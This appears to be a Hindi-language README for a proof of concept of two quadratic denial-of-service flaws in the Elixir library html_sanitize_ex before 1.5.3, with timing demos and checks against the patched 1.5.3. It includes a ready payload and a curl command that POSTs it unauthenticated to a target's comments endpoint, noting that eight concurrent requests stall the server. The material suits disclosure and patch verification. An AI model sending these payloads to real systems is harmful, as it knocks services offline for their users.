
Elixir html_sanitize_ex में विशेष रूप से तैयार किए गए HTML के माध्यम से quadratic DoS प्रदर्शित करने वाला PoC; इसमें टाइमिंग बेंचमार्क, रिमोट शोषण हेतु curl, और पैच किए गए संस्करणों के विरुद्ध सत्यापन शामिल है।
html_sanitize_ex < 1.5.3 में द्विघात सेवा-अस्वीकृति (quadratic denial of service)।
यह लाइब्रेरी अविश्वसनीय HTML को निष्प्रभावी करने के लिए मौजूद है, लेकिन दो स्वतंत्र सुपर-लीनियर कोड पथों की वजह से एक ही क्राफ्टेड अनुरोध BEAM शेड्यूलर को सेकंडों तक पिन कर सकता है। कुछ ही समवर्ती अनुरोध शेड्यूलर पूल को संतृप्त कर देते हैं और ऐप प्रतिक्रिया देना बंद कर देता है। प्रभाव केवल उपलब्धता तक सीमित है (CVSS 8.2 High)।
| CVE | घटक | कमज़ोरी | ट्रिगर |
|---|---|---|---|
| CVE-2026-68749 | HtmlSanitizeEx.Scrubber.CSS.scrub/1 | CWE-1333 (regex बैकट्रैकिंग) | अंत में : वाले वर्ड कैरेक्टरों की लंबी <style> श्रृंखला |
| CVE-2026-68750 | HtmlSanitizeEx.Traverser.traverse/2 | CWE-407 (द्विघात ट्रैवर्सल) | अनुमत sibling टैगों की सपाट श्रृंखला (जैसे <b>a</b> × 20,000) |
CVE-2026-68749 केवल
html5/1के माध्यम से पहुँच योग्य है (या ऐसे कस्टम scrubber के ज़रिए जो:html5को एक्सटेंड करता है)। CVE-2026-68750 हर सार्वजनिक एंट्री पॉइंट पर मौजूद है, जिसमेंbasic_html/1,markdown_html/1, औरstrip_tags/1शामिल हैं।
mix.exs # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs # generates both payloads and times them
आवश्यकताएँ: Elixir ≥ 1.14 और एक इंटरनेट कनेक्शन (Hex डिपेंडेंसी प्राप्त करने के लिए)।
mix deps.get # fetches html_sanitize_ex 1.5.2
mix run poc.exs # runs both demos and prints timings
कमज़ोर 1.5.2 बिल्ड पर अपेक्षित परिणाम — हमले के समय सामान्य (benign) इनपुट के समय को बौना कर देते हैं। आकार उदाहरणात्मक है (निरपेक्ष मान हार्डवेयर पर निर्भर करते हैं, लेकिन दोनों हमले के समय-आंकड़े सीधे EEF CNA एडवाइज़री से लिए गए हैं):
=== html_sanitize_ex 1.5.2 ===
CVE-2026-68749 — CSS scrubber (html5/1), 80000 chars of 'a'
benign (…a!): ~ milliseconds (returns near-instantly)
attack (…a!:): ~ 2.4 seconds (thousands of x slower)
diff is a single ':' character
CVE-2026-68750 — traverser (basic_html/1), <b>a</b> siblings
2,000 siblings: ~ milliseconds
20,000 siblings: ~ 1.7 seconds (10x input -> far more than 10x work)
ratio > 10 reveals super-linear growth
मुख्य बात अनुपात (ratio) है: हमला तुलनीय आकार के सामान्य इनपुट से कई परिमाण-क्रम (orders of magnitude) धीमा होता है, और 10× इनपुट के लिए 10× से कहीं अधिक कार्य करना पड़ता है। 2.4 सेकंड (80 KB <style>) और 1.7 सेकंड (20,000 sibling) के आंकड़े अपस्ट्रीम एडवाइज़री से उद्धृत हैं।
mix.exs संपादित करें और पिन किए गए वर्शन को पैच किए गए रिलीज़ में अपडेट करें:
@vulnerable_version "1.5.3" # or later — 1.5.3 contains both fixes
फिर से चलाएँ:
mix deps.update html_sanitize_ex
mix run poc.exs
1.5.3 पर हमले और सामान्य (benign) दोनों के समय एक ही परिमाण-क्रम पर आ जाते हैं, क्योंकि फिक्स regex ग्रुप ([-\w]+ → [-\w]{1,64}) को सीमित कर देता है और ट्रैवर्सर को एक ही Enum.reduce + एक List.flatten/1 में बदल देता है (O(n²) → O(n))।
वास्तविक Phoenix ऐप में ये कॉल वहाँ होती हैं जहाँ सर्वर उपयोगकर्ता-आपूर्ति रिच टेक्स्ट को सैनिटाइज़ करता है। हमलावर केवल पेलोड को फ़ील्ड मान के रूप में POST करता है — कोई प्रमाणीकरण (auth) आवश्यक नहीं:
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
-X POST https://target.example.com/comments \
--data-urlencode "body=$PAYLOAD"
ऐसे आठ समवर्ती अनुरोध 8-कोर होस्ट पर सभी आठ BEAM शेड्यूलर को पिन कर देते हैं।
केवल शैक्षिक / अधिकृत परीक्षण के लिए।